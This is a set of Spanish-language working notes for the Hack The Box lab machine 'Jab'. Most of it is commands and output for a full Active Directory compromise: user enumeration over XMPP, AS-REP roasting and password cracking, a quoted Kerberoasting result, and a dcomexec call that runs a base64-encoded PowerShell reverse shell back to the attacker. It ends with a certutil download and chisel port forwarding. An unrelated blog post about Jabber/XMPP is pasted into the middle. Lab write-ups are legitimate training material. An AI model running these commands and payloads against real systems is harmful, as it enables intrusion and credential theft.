Jab

nmap

nmap 10.10.11.4
Starting Nmap 7.94SVN (https://nmap.org) at 2024-03-08 21:36 CET
Nmap scan report for 10.10.11.4
Host is up (0.14s latency).
Not shown: 984 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5222/tcp open xmpp-client
5269/tcp open xmpp-server
7070/tcp open realserver
7443/tcp open oracleas-https
7777/tcp open cbt

Nmap done: 1 IP address (1 host up) scanned in 124.45 seconds

#Podemos ver que el puerto de kerberos (88) está abierto.
#Intentamos un smbclient sin resultado.

nmap -p- -T5 -v 10.10.11.4
Starting Nmap 7.94SVN (https://nmap.org) at 2024-03-08 21:36 CET
Initiating Ping Scan at 21:36
Scanning 10.10.11.4 [4 ports]
Completed Ping Scan at 21:36, 0.40s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:36
Completed Parallel DNS resolution of 1 host. at 21:36, 0.02s elapsed
Initiating SYN Stealth Scan at 21:36
Scanning 10.10.11.4 [65535 ports]
Discovered open port 135/tcp on 10.10.11.4
Discovered open port 53/tcp on 10.10.11.4
Discovered open port 139/tcp on 10.10.11.4
Discovered open port 445/tcp on 10.10.11.4
Discovered open port 49675/tcp on 10.10.11.4
Discovered open port 5269/tcp on 10.10.11.4
Warning: 10.10.11.4 giving up on port because retransmission cap hit (2).

#Busquemos información sobre xmpp-client.
#De acuerdo a wikipedia, estos son los puertos que utiliza XMPP.According to Wikipedia:
5222 TCP XMPP client connection (RFC 6120) Official
5223 TCP XMPP client connection over SSL Unofficial
5269 TCP XMPP server connection (RFC 6120) Official
5298 TCP UDP XMPP JEP-0174: Link-Local Messaging / Official
XEP-0174: Serverless Messaging
8010 TCP XMPP File transfers Unofficial

xmpp

#Si buscamos información sobre XMPP, podemos ver que es un protocolo de mensajeria.
https://es.wikipedia.org/wiki/Extensible_Messaging_and_Presence_Protocol
#Si buscamos sobre Jabber, en la página. Podemos ver que tiene relación como nos indica este blog:
https://comunicatelibremente.wordpress.com/jabberxmpp/

#Tendremos que instalar: https://pidgin.im/.
pidgin
Command 'pidgin' not found, but can be installed with:
apt install pidgin
Do you want to install it? (N/y)y
apt install pidgin
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  gstreamer1.0-alsa gstreamer1.0-gl gstreamer1.0-nice gstreamer1.0-plugins-base gstreamer1.0-x libalgorithm-diff-xs-perl
  libapt-pkg-perl libbit-vector-perl libclone-perl libcommon-sense-perl libcompress-raw-lzma-perl libcrypt-rijndael-perl
  libcrypt-ssleay-perl libdate-calc-xs-perl libdbd-mariadb-perl libdbi-perl libencode-perl libfarstream-0.2-5 libfcgi-perl
  libfile-fcntllock-perl libgadu3 libgstreamer-gl1.0-0 libgstreamer-plugins-base1.0-0 libgtkspell0 libhtml-parser-perl
  libintl-xs-perl libio-compress-brotli-perl libjson-xs-perl liblocale-gettext-perl libmath-random-isaac-xs-perl libmeanwhile1
  libnet-dbus-perl libnet-dns-sec-perl libnet-libidn2-perl libnet-ssleay-perl libperl5.38 libproc-processtable-perl libpurple-bin
  libpurple0 libsocket6-perl libstring-crc32-perl libterm-readkey-perl libterm-readline-gnu-perl libtext-charwidth-perl
  libtext-csv-xs-perl libtext-iconv-perl libunicode-linebreak-perl libunicode-map-perl libuuid-perl libxml-parser-perl libzephyr4
  perl perl-base perl-modules-5.38 perl-tk pidgin-data
Suggested packages:
  alsa-utils libmldbm-perl libnet-daemon-perl libsql-statement-perl libvisual-0.4-plugins perl-doc libtap-harness-archive-perl
The following NEW packages will be installed:
  gstreamer1.0-alsa gstreamer1.0-nice libfarstream-0.2-5 libgadu3 libgtkspell0 libmeanwhile1 libperl5.38 libpurple-bin libpurple0
  libzephyr4 perl-modules-5.38 pidgin pidgin-data
The following packages will be upgraded:
  gstreamer1.0-gl gstreamer1.0-plugins-base gstreamer1.0-x libalgorithm-diff-xs-perl libapt-pkg-perl libbit-vector-perl
  libclone-perl libcommon-sense-perl libcompres

#Procederemos a añadir un usuario en la heramienta.

#Nos indica que se utilizará el certificado de dc01.jab.htb
Common name: dc01.jab.htb

Issued By: (self-signed)

Fingerprint (SHA1): ef:d0:8b:de:42:df:ff:04:1a:79:7d:20:bf:87:a7:40:66:b8:d9:66

Activation date: Fri Oct 27 00:00:12 2023

Expiration date: Wed Oct 25 00:00:12 2028

SHA256: bc:d8:be:1b:3e:27:bd:6a:f0:65:77:df:f6:9b:8c:58:90:f0:c2:04:46:48:7f:ce:75:e5:5d:1e:44:4f:14:df
#Indicamos que es correcto.
#Editamos nuestro usuario. Accounts --> "Modify Account".
#Tendremos que añadir la dirección IP del servidor. (10.10.11.4)
#Nos saldrá un banner donde tendremos que aceptar.
#IMPORTANTE → Para activr el usuario, tendremos que seleccionar la casilla “Crear usuario en el servidor”
#Para activar el usuario por completo, tendremos que seleccionarlo en la “Buddy List”.
#Tendremos que reiniciar el programa.
#Nos dirigimos a --> “Room List”.
#Podemos ver que hay dos entidades. test y test2.
#Solo nos deja entrar en el chat test2.
#No parece que haya información relevante en este chat.
#Si nos fijamos en las tools de "Pidgin". Podemos ver que exsiste una tool para buscar usuarios dentro del dominio.
#Vamos a: “Buddy List” --> “Accounts” → “Search for users”
#Para buscar todas las refencias posibles, escribimos *.
#Nos aparecen muchos usuarios. Trataremos de traspasarlos a un documento.
#Para ello, tenemos que ejecutar Pigin con la opción -d. (Corresponde con la opción debug)

pidgin --help
Pidgin 2.14.12
Usage: pidgin [OPTION]...

  -c, --config=DIR   use DIR for config files
  -d, --debug   print debugging messages to stdout
  -f, --force-online force online, regardless of network status
  -h, --help   display this help and exit
  -m, --multiple   allow multiple instances
  -n, --nologin   don't automatically login
  -l, --login[=NAME] enable specified account(s) (optional argument NAME
                      specifies account(s) to use, separated by commas.
                      Without this only the first account will be enabled).

```
 --display=DISPLAY   X display to use
 -v, --version       display the current version and exit


pidgin -d > output.log

#El fichero output.log, no está legibe. Tendremos que modificarlo para extraer todos los usuarios.
#Le aplicamos alguna modificaciones al fichero. (Es un XML)
 grep -oP '<value>\K[^<]+@jab.htb(?=</value>)' output.log | sed 's/@jab.htb//g' | sort | uniq > usernames.txt

#Lo redirigimos a otro fichero llamado usernames.txt
#Recordando que kerberos, se está ejecutando por el puerto 88 podemos probar a hacer login con los usuarios.
#EJecutaremos el tool GetNPUsers.py pata conseguir el AS-REp Roast.

GetNPUsers.py jab.htb -usersfile usernames.txt -format hashcat -outputfile jabhashes
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

[-] Domain should be specified!

#Tendremos que anotar el dominio en /etc/hosts
echo "10.10.11.4  jab.htb" | sudo tee -a /etc/hosts
10.10.11.4  jab.htb


┌──(root㉿kali)-[~/Desktop/machines/Jab]
└─# GetNPUsers.py jab.htb/ -usersfile usernames.txt -format hashcat -outputfile jabhashes.txt
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User aaaron doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aallen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aaltman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aanderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aarrowood doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abanks doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abarr doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abeaubien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abeckner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User abernard doesn't have UF_DONT_REQUIRE_PREAUTH set
...

#Si le damos tiempo, tendemos algunos hashes.

cat jabhashes.txt
```

```
$krb5asrep$23$jmontgomery@JAB.HTB:
7efcfedb715774b1ad7997afda6f3a09$ce4d543e13e5f1f7f50dedbd827af2fbab75100bede93636159ac1e8c0da17fc48dbf8ee3b8edee2f513
c03e979cc01fb372ab7c1f80b580b14ebbef03057350619c85a3fa3e1bcb84a6f896dc5dd63167929a736effc2edfd9d4731f79940d79d2d8570
f1e058a6fbe961fe3dcbc71db8a5c55ddad81213886b78b2de4ac3c1793cae166a9fbcfa02fd3996b58ff6cbefa11191465a62768e1949e794f34
87e8b6e2bf502cd7d9b879e5a1698a38c1fb21092f6a814cd33a1ea5b48c13b31bb679ffb53f8c4b34790e72104e65be1d41f0f17dad48e55a6
eb38bb6b5b48aa0a4a55
$krb5asrep$23$lbradford@JAB.HTB:
21b1f5ff809fe028f51f6913aa7a1412$de8bf92566ebaf146c9141d7902b9b574fb849be42b01fe178c193a9132739d1de721aef28c8bfba6659
ee3539a58d253c3df7e823e914b9cc1a4ab318f872a4097753bbfec2d431b3c302ea23d04dea8880ea5bb96f2958476607b667d891e0326223
50483da283406e2fb60367720fe02ad65835f5bf44022a632717801a21beb172fefc03ced80c5f8ce9cbeb043448dd7718ecd67e4e36d06ddd2
48b08c32b74e8dc8d0f32d8e4bdc3a1eece1ae9b50f387e53a0b81d3cdd9e9467074df988050bd049873ec8095cc7bfe4325ad729c3a074e859
4ef3be6c46eae7c27787ef29
$krb5asrep$23$mlowe@JAB.HTB:a0abbc071990ce1bed9122ca4a7c1123$42840f68d0ba8278081de3d3b62d1c8ff7c16a47b07bf7d5edc8b20
cd1ac193ea18ade91d8bd11574f1a53f27a3ba0d0ec70ba2cfc32cd07f15b215b37f281f45ceba9ac51610d4c43064bfd9929342cd6888981b50
a055e019dedc4370f0cfe7355a57a7e0b42758c8fa56a8ad0807ec86bb290390e2e4160cb34b7393b2f32ad53d304ee2ac0beaa5ef6277230d2
12522d79562a6555dd8378e8c412791d154d2c8eb1776c94f152c1348fee322ea8bfb1de84b7f30f279c93d3b6aa78429f9994c09998fd01338
4d954f35c0440062fb2464094de993d2755e8bd4914a8116928
```

jabber/xmpp

Jabber/XMPP
El problema

La mensajería instantánea por Internet, hoy en día, se ha convertido en un auténtico caos. Que si «ponte el Whatsapp y así hablamos», que si «no, ponte el Line, que mola más», que si «ponte el Spotbros que es la caña»... mañana será «esos ya pasaron de moda, ponte el PepeChat». Y al día siguiente, el ChupiChat.

¿No os parece que ya basta de tener que andar poniéndose todos los programas de turno porque a tal o cual contacto le gusta tal o cual programa? Especialmente si contamos que «tal programa» solo está disponible para smartphones, o incluso ciertos smartphones concretos, con restricciones de todo tipo y privacidad nula. Sin olvidar, además, que aparecen nuevas «apps» de este estilo constantemente, todas incompatibles con las demás.

Esta situación es un poco ridícula. Cuando alguien tiene un teléfono móvil, sabe que puede llamar a cualquier otro teléfono móvil, o fijo, independientemente de si tu contacto tiene un Motorola, un Nokia o un Samsung, independientemente de si tiene línea con Movistar, con Orange o con Vodafone. Si alguien tiene una cuenta de e-mail, sabe que puede enviar e-mails a cualquiera, independientemente del tipo de ordenador o teléfono que use, e independientemente de si el destinatario es pepito@gmail.com, pepito@telefonica.net o pepito@suempresa.com.

Lo natural debería ser que las cosas sean así. En esos dos ámbitos han sido así desde siempre, desde hace décadas.

¿Por qué en mensajería instantánea o «redes sociales» no? Por los intereses de las cuatro empresas de turno, interesadas en tener a todo el mundo controlado en un mismo sitio, en su empresa, y por el hecho de que todo el mundo lo tolera, por motivos varios. Principalmente movidos por el «efecto red», más conocido como «es que todo el mundo esta en XXXXX».

¿A alguien le parecería normal intentar llamar con su teléfono Vodafone a un teléfono Movistar, y oír una locución estilo «El teléfono al que llama pertenece a otro operador. La llamada no se puede realizar»? Suena ridículo, ¿no?
La solución ya existe. Está en nuestras manos el usarla, y es gratis.

xmppDesde hace años existe una red de mensajería instantánea, chat, videoconferencia, envío de todo tipo de archivos, salas de charla en grupo, etc. que permite precisamente evitar todos esos problemas, conocida como Jabber o, formalmente, XMPP.
Este es un ejemplo del funcionamiento de la red XMPP (anteriormente llamada Jabber) entre 3 servidores de los miles que existen alrededor del mundo.

Este es un ejemplo del funcionamiento de la red XMPP (anteriormente llamada Jabber) entre 3 servidores de los miles que existen alrededor del mundo.

La gracia de este sistema no es nada rompedor. De hecho es precisamente lo mismo que hace grande y útil al e-mail o al teléfono estándar: es una red descentralizada, o federada.

¿Qué quiere decir eso de «federada»? Básicamente significa que pepito@sucasa.com puede hablar tranquilamente con fulanito@gmail.com, o con menganita@suempresa.net. Pepito usará el programa A en su móvil (Xabber, JTalk, Beem...), Fulanita el programa B en su PC (Swift, Psi...), Menganito el programa C en su tablet... y a nadie le importa, ni le interesa, qué programa use el otro, puesto que no es necesario saberlo ni tener el mismo para hablar. Cada cual usaría el programa que más le gustase.

Sin ir mas lejos, Google Talk, que viene preinstalado en todos los teléfonos y tablets Android, y que por tanto, mucha gente ya tiene, forma parte de la red Jabber. Si bien, actualmente, el futuro de esto se encuentra en entredicho, por la migración que Google está realizando hacia Hangouts, incompatible con el estándar XMPP, y que no comunica con la red Jabber global. Una prueba más de cómo no se deben dejar nuestras comunicaciones en manos de las grandes empresas.
Tú también cuentas

Empezar a cambiar esta situación es una difícil tarea, pero es algo que está en manos de todos, y el resultado sería muchas mejores opciones para todo el mundo, menos complicaciones, menos control por parte de las cuatro empresas de turno y más control y capacidad de decisión por parte de todos nosotros. Va siendo hora de acabar con el conformismo de «es que esto más o menos ya me vale» y empezar a poner fin a la ridícula situación de «cada uno con su red preferida, incompatible con las de los demás, insistiendo a todo el mundo a que use la suya». Será una transición costosa, pero entre todos, si nos unimos, podemos conseguirlo.

Alguien dirá que aquí se está insistiendo en usar «lo nuestro», pero lo que aquí animamos a usar es algo estándar, que permitirá que nadie tenga que volver a decirle a sus contactos «usa tal programa o tal otro», de la misma forma que nadie le dice a sus contactos que programa de e-mail deben usar, o que servicio, o que teléfono deben comprarse para llamarles.
Muchas funciones

XMPP es un protocolo con el que puedes hacer todo lo que estás acostumbrado a ver en otros programas debido a que es ampliable.

- Conectarte desde varios programas a la vez.
- Mensajes en desconexión: si envías un mensaje a un contacto desconectado, lo verá cuando se conecte
- Salas de charla como en el IRC o los chats de Terra
- Envío de archivos de cualquier tipo
- Videollamada
- Compartir la pantalla de tu ordenador

Todo depende de las funciones que incluya el programa que utilices. Los hay muy básicos (que sólo permiten enviar mensajes de texto) hasta muy complejos, que permiten hacer todo lo anterior y mucho más.
Servidores

Existen muchísimos servidores donde poder registrarse a lo largo y ancho del planeta. Como ya hemos visto, no importa dónde te crees una puesto que podrás hablar con cualquiera.

En XMPP.net hay una gran lista de servidores, pero ni no sabes por dónde empezar, te recomendamos algunos donde puedes crear tu cuenta:

- Mijabber.es
- Suchat.org
- Jabberes.org

Los tres son creados en el ámbito hispanohablante y podrás pedir ayuda en alguna de las salas si lo necesitas.
Clientes (programas y apps móviles)

Existen gran cantidad de programas y aplicaciones que puedes usar para conectarte, ya que en XMPP/Jabber no importa si te conectas desde el móvil, tu tablet o tu ordenador.

En XMPP.org hay una lista muy completa de clientes (los hay hasta para aparatos antiguos), pero si no sabes por dónde empezar, te recomendamos algunos para los sistemas más habituales hoy en día:

Para el ordenador:

Swift. Si eres nuevo usuario es la mejor opción: es un programa muy sencillo de usar.
Gajim. Permite hacer videollamadas e incorpora funciones avanzadas.
Jitsi. Un cliente muy completo con el que puedes hacer videollamadas.
Psi. Cliente con funciones avanzadas y muy personalizable sin renunciar a la simplicidad.
Pidgin. Un cliente multiprotocolo (puedes agregar más cuentas, no sólo de XMPP).

Para Android:

Xabber. Recomendado. Soporte para grupos de charla y mensajes cifrados.
Conversations. Recomendado. Rápido desarrollo, interfaz amigable. Soporte para enviar archivos, grupos de charla, mensajes cifrados y más.
ChatSecure. Centrado en la mensajería cifrada.
JTalk. Permite enviar archivos. Soporte para grupos de charla.
Yaxim. Más básico.

Para iOS:

Monal IM
Boogie chat
ChatSecure

Para el navegador:

Jappix en forumanalogue

Más información:

Categoría Jabber/XMPP de este blog
Web oficial de XMPP
Lista de servidores
Lista de clientes

Comparte esto:

GranadaPump.ioDiaspora*Correo electrónicoTwitterFacebook

73 comentarios en “Jabber/XMPP”
Navegación de comentarios
← Comentarios más antiguos

Davidnel en 13 julio, 2020 a las 00:00 dijo:

Alguno de ustedes ha podido instalar algún servidor de esos mencionados anteriormente y que le funcionen la llamadas o videollamadas ?
Responder ↓
Alguien en 11 enero, 2021 a las 04:56 dijo:

ahora que empezó la polémica de WhatsApp y sus nuevas políticas de privacidad y a raíz de esto muchos se quieren cambiar a Telegram. Creo que es buena idea volver a revivir y actualizar esta campaña
Responder ↓

Navegación de comentarios
← Comentarios más antiguos
Deja un comentario

Este sitio utiliza Akismet para reducir el spam. Conoce cómo se procesan los datos de tus comentarios.
Blog de WordPress.com.

john

```
john -w=/usr/share/wordlists/rockyou.txt jabhashes.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Midnight_121     ($krb5asrep$23$jmontgomery@JAB.HTB)
1g 0:00:00:23 DONE (2024-03-09 18:53) 0.04258g/s 610892p/s 1682Kc/s 1682KC/s !)(OPPQR..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(root㉿kali)-[~/Desktop/machines/Jab]
└─# john  jabhashes.txt --show
$krb5asrep$23$jmontgomery@JAB.HTB:Midnight_121

1 password hash cracked, 2 left

#Tenemos las credenciales.

cat creeds.txt
jmontgomery@JAB.HTB:Midnight_121

username --> jmontgomery@JAB.HTB
passwd --> Midnight_121

#Vamos a probar a hacer un ssh.
 ssh jmontgomery@JAB.HTB
ssh: connect to host jab.htb port 22: Connection refused

#Si la cuenta está habilitada,  deshabilítela → Seleccione la cuenta y haga clic en modificar → Cambie  el nombre de usuario a “jmontgomery” → ingrese la contraseña que obtuvo  del hash. (Puede habilitar "Recordar contraseña" para su comodidad).
#Volvemos a pidgin
```

pidgin

#Si la cuenta está habilitada, deshabilítela → Seleccione la cuenta y haga clic en modificar → Cambie el nombre de usuario a “jmontgomery” → ingrese la contraseña que obtuvo del hash. (Puede habilitar "Recordar contraseña" para su comodidad).
#Volvemos a pidgin
#Cambiamos el nombre de “alle” por “jmontgomery” y añadimos la contraseña.
#Cuadno buscamos las salas, podemos ver una sala nueva, llamada "pentest2003".
#Vemos que esta es la conversación.

(11/21/23 19:31:13) adunn: team, we need to finalize post-remediation testing from last quarter's pentest. @bdavis Brian can you please provide us with a status?
(11/21/23 19:33:58) bdavis: sure. we removed the SPN from the svc_openfire account. I believe this was finding #2. can someone from the security team test this? if not we can send it back to the pentesters to validate.
(11/21/23 20:30:41) bdavis: here are the commands from the report, can you find someone from the security team who can re-run these to validate?
(11/21/23 20:30:43) bdavis: $ GetUserSPNs.py -request -dc-ip 192.168.195.129 jab.htb/hthompson

Impacket v0.9.25.dev1+20221216.150032.204c5b6b - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ---------- -------- -------------------------- ---------- ----------
http/xmpp.jab.local svc_openfire 2023-10-27 15:23:49.811611 <never>

[-] CCache file is not found. Skipping...
$krb5tgs$23$*svc_openfire$JAB.HTB$jab.htb/
svc_openfire*$b1abbb2f4beb2a48e7412ccd26b60e61$864f27ddaaded607ab5efa59544870cece4b6262e20f3bee38408d296ffbf07ceb421188b9b82ac0037ae67b488bb0ef2178a0792d62<SNIP>

(11/21/23 20:30:56) bdavis: $ hashcat -m 13100 svc_openfire_tgs /usr/share/wordlists/rockyou.txt

hashcat (v6.1.1) starting...

<SNIP>

$krb5tgs$23$*svc_openfire$JAB.HTB$jab.htb/
svc_openfire*$de17a01e2449626571bd9416dd4e3d46$4fea18693e1cb97f3e096288a76204437f115fe49b9611e339154e0effb1d0fcccfbbb-b219da829b0ac70e8420f2f35a4f315c5c6f1d4ad3092e14ccd506e9a3bd3d20854ec73e62859cd68a7e6169f3c0b5ab82064b04df4ff7583ef18bbd42ac529a5747102c2924d1a76703a30908f5ad41423b2fff5e6c03d3df6c0635a41bea1aca3e15986639c758eef30b74498a184380411e207e5f3afef185eaf605f543c436cd155823b7a7870a3d5acd0b785f999facd8b7ffdafe6e0410af26efc42417d402f2819d03b3730203b59c21b0434e2e0e7a97ed09e3901f523ba52fe9d3ee7f4203de9e857761fbcb417d047765a5a01e71aff732e5d5d114f0b58a8a0df4ca7e1ff5a88c532f5c-f33f2e01986ac44a353c0142b0360e1b839bb6889a54fbd9c549da23fb05193a4bfba179336e7dd69380bc4f9c3c00324e42043ee54b3017a913f84a20894e145b23b440aff9c524efb7957dee89b1e7b735db292ca5cb32cf024e9b8f5546c33caa36f5370db61a9a3facb473e741c61ec7dbe-e7420c188e31b0d920f06b7ffc1cb86ace5db0f9eeaf8c13bcca743b6bf8b2ece99dd58aff354f5b4a78ffcd9ad69ad8e7812a2952806feb9b411f-e53774f92f9e8889380dddcb59de09320094b751a0c938ecc762cbd5d57d4e0c3d660e88545cc96e324a6fef226bc62e2bb31897670929571c-d728b43647c03e44867b148428c9dc917f1dc4a0331517b65aa52221fcfe9499017ab4e6216ced3db5837d10ad0d15e07679b56c6a68a97c1e-851238cef84a78754ff5c08d31895f0066b727449575a1187b19ad8604d583ae07694238bae2d4839fb20830f77fffb39f9d6a38c1c0d524130a-6307125509422498f6c64adc030bfcf616c4c0d3e0fa76dcde0dfc5c94a4cb07ccf4cac941755cfdd1ed94e37d90bd1b612fee2ced175aa0e01f2919e31614f72c1ff7316be4ee71e80e0626b787c9f017504fa717b03c94f38fe9d682542d3d7edaff777a8b2d3163bc83c5143dc680c7819f405e-c207b7bec51dabcec4896e110eb4ed0273dd26c82fc54bb2b5a1294cb7f3b654a13b4530bc186ff7fe3ab5a802c7c91e664144f92f438aecf9f814f73ed556dac403daaefcc7081957177d16c1087f058323f7aa3dfecfa024cc842aa3c8ef82213ad4acb89b88fc7d1f68338e8127644cfe101bf93b18ec0da457c9136e3d0efa0d094994e1591ecc4:!@#$%^&*(1qazxsw

Session.....: hashcat
Status.....: Cracked
Hash.Name.....: Kerberos 5, etype 23, TGS-REP
Hash.Target.....: $krb5tgs$23$*svc_openfire$JAB.HTB$jab.htb/svc_openf...91ecc4
Time.Started.....: Fri Oct 27 15:30:12 2023 (17 secs)
Time.Estimated...: Fri Oct 27 15:30:29 2023 (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 873.9 kH/s (10.16ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered.....: 1/1 (100.00%) Digests
Progress.....: 14344385/14344385 (100.00%)
Rejected.....: 0/14344385 (0.00%)
Restore.Point....: 14336000/14344385 (99.94%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[2321686f74746965] -> $HEX[042a0337c2a156616d6f732103]

Started: Fri Oct 27 15:30:09 2023
Stopped: Fri Oct 27 15:30:29 2023

(11/21/23 20:31:57) adunn: I'll pass this along and circle back with the group
(11/21/23 20:32:23) bdavis: perfect, thanks Angela!
(03/08/24 21:44:49) jmontgomery: :yes:
(11/21/23 19:22:55) The topic is:

#Vemos como se ha utilizado hashcat para desencryptar una contraseña.
#Podemos ver la contraseña:

passwd --> !@#$%^&*(1qazxsw

#Como puedo ver en mi escaneo de nmap que se están utilizando una gran cantidad de servicios MSRPC, es seguro asumir que DCOM se está ejecutando.
(DCOM permite que los objetos COM se comuniquen entre sí a través de redes)
#La herramienta de impaket 'dcomexec.py' se puede utilizar de forma remota en svc_openfire.
Ejemplo:
dcomexec.pey -object <DCOM Object> <domain>/<account>:'<password>'@<target IP> 'Command & payload' -silentcommand

#Creamos un rev shell en Base64 para Powershell#3
#Vamos a: https://www.revshells.com/
#Generamos el rev shell y lo añadimos al comando anterior.

#Con este comando, podremos enviar el payload.
dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4

dcomexec.py -object MMC20 jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'cmd.exe /c powershell -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAG-
wAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOAA0ACIALAA3ADMANwAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQA-
LgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AH-
cAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlA-
G4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQ-
AgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMAL-
AAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAa-
QBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUA-
BhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMAS-
QBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGI-
AeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsA-
GkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' -silentcommand

nc -nlvp 7373
listening on [any] 7373 ...
connect to [10.10.16.84] from (UNKNOWN) [10.10.11.4] 51610
whoami
jab\svc_openfire
PS C:\windows\system32>

#Ya tenemos un shell

priv_escalation

PS C:\Users\svc_openfire\Desktop> whoami
jab\svc_openfire

#Veamos que conexione tenemos con netat.

netstat -ano

Active Connections

  Proto Local Address   Foreign Address   State   PID
  TCP   0.0.0.0:88   0.0.0.0:0   LISTENING   644
  TCP   0.0.0.0:135   0.0.0.0:0   LISTENING   896

...

#Ejecutamos "ps" para ver los procesos.
ps
   1588   190   650788   612704   2216   0 openfire-service
    103   7   1320   5032   2668   0 openfire-service

#Si realizamos na búsqueda sobre Openfire:
The Openfire admin interface will listen on port **9090 and 9091** of your server by default.

#Podemos ver que se está utilizando el puerto 9090
#Verificamos si estos puertos estan abiertos, netstat; 'netstat-ano | findstr 9090' y lo repitió para el puerto 9091.

PS C:\windows\system32> netstat -ano | findstr 9090
  TCP   127.0.0.1:9090   0.0.0.0:0   LISTENING   2216
  UDP   0.0.0.0:59090   *:*   2600
PS C:\windows\system32> netstat -ano | findstr 9091
  TCP   127.0.0.1:9091   0.0.0.0:0   LISTENING   2216
  UDP   0.0.0.0:59091   *:*   2600

#Utilizaremos “Chisel” para hacer un port forwarding.
#En lugar de utilizar wget o curl, utilizaremos certutil.exe.

#Primero tendremos que encender el servidor (chesel) en localhost.
#Asegurarse, de ejecutar el comando en: \Users\svc_openfire\Downloads.

certutil.exe -urlcache -f http://<tun0>:8000/chisel.exe chisel.exe

git clone https://github.com/jpillora/chisel.git
apt-get install chisel

#El servidor con chisel, no me ha funcionado correctamente.
#Lo he ejecutado con python3.
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.16.84 - - [09/Mar/2024 20:45:54] "GET /chisel.exe HTTP/1.1" 200 -
10.10.11.4 - - [09/Mar/2024 20:46:00] "GET /chisel.exe HTTP/1.1" 200 -

PS C:\users\svc_openfire\Downloads> certutil.exe -urlcache -f http://10.10.16.84:8000/chisel.exe chisel.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

#Ya tenemos el chisel.exe en la máquina víctima. Podemos comenzar con el por forwarding

#Iniciamos el servidor en localhost.
hisel server -p 8050 --reverse
2024/03/09 20:52:33 server: Reverse tunnelling enabled
2024/03/09 20:52:33 server: Fingerprint bm70asmytMf+modAFLN91OuFivROJhznjT88ueb5yQY=
2024/03/09 20:52:33 server: Listening on http://0.0.0.0:8050
2024/03/09 20:56:28 server: session#1: Client version (1.9.1) differs from server version (1.9.1-0kali1)
2024/03/09 20:56:28 server: session#1: tun: proxy#R:9090=>9090: Listening
